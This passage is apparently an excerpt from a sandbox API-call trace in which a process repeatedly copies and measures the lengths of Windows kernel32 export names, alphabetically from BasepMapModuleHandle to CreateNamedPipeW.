lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0139.936] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0139.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0139.936] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0139.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0139.936] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0139.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0139.937] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0139.937] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0139.937] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0139.937] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0139.937] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0139.937] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0139.937] lstrlenA (lpString="BEEP") returned 4 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0139.937] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0139.937] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0139.937] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0139.937] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0139.937] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0139.937] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0139.937] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0139.937] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0139.937] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0139.937] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0139.937] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0139.937] lstrlenA (lpString="CANCELIO") returned 8 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0139.937] lstrlenA (lpString="CANCELIOEX") returned 10 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0139.937] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0139.937] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0139.937] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0139.938] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0139.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0139.938] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0139.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0139.938] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0139.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0139.938] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0139.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0139.938] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0139.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0139.938] lstrlenA (lpString="CHECKELEVATION") returned 14 [0139.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0139.938] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0139.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0139.938] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0139.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0139.938] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0139.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0139.938] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0139.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0139.938] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0139.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0139.938] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0139.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0139.938] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0139.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0139.938] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0139.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0139.938] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0139.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0139.938] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0139.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0139.938] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0139.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0139.938] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0139.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0139.938] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0139.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0139.938] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0139.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0139.938] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0139.938] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0139.938] lstrlenA (lpString="CLOSESTATE") returned 10 [0139.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0139.939] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0139.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0139.939] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0139.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0139.939] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0139.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0139.939] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0139.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0139.940] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0139.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0139.940] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0139.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0139.940] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0139.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0139.940] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0139.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0139.940] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0139.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0139.940] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0139.941] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0139.941] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0139.941] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0139.941] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0139.941] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0139.941] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0139.941] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0139.941] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0139.941] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0139.941] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0139.941] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0139.941] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0139.941] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0139.941] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0139.941] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0139.941] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0139.941] lstrlenA (lpString="COPYCONTEXT") returned 11 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0139.941] lstrlenA (lpString="COPYFILE2") returned 9 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0139.941] lstrlenA (lpString="COPYFILEA") returned 9 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0139.941] lstrlenA (lpString="COPYFILEEXA") returned 11 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0139.941] lstrlenA (lpString="COPYFILEEXW") returned 11 [0139.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0139.941] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0139.942] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0139.942] lstrlenA (lpString="COPYFILEW") returned 9 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0139.942] lstrlenA (lpString="COPYLZFILE") returned 10 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0139.942] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0139.942] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0139.942] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0139.942] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0139.942] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0139.942] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0139.942] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0139.942] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0139.942] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0139.942] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0139.942] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0139.942] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0139.942] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0139.942] lstrlenA (lpString="CREATEEVENTA") returned 12 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0139.942] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0139.942] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0139.942] lstrlenA (lpString="CREATEEVENTW") returned 12 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0139.942] lstrlenA (lpString="CREATEFIBER") returned 11 [0139.942] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0139.943] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0139.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0139.943] lstrlenA (lpString="CREATEFILE2") returned 11 [0139.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0139.943] lstrlenA (lpString="CREATEFILEA") returned 11 [0139.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0139.943] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0139.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0139.943] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0139.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0139.943] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0139.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0139.943] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0139.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0139.943] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0139.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0139.943] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0139.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0139.943] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0139.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0139.943] lstrlenA (lpString="CREATEFILEW") returned 11 [0139.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0139.943] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0139.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0139.943] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0139.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0139.943] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0139.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0139.943] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0139.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0139.943] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0139.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0139.943] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0139.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0139.943] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0139.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0139.943] lstrlenA (lpString="CREATEJOBSET") returned 12 [0139.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0139.943] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0139.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0139.943] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0139.943] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0139.944] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0139.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0139.944] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0139.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0139.944] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0139.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0139.944] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0139.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0139.944] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0139.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0139.944] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0139.944] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" 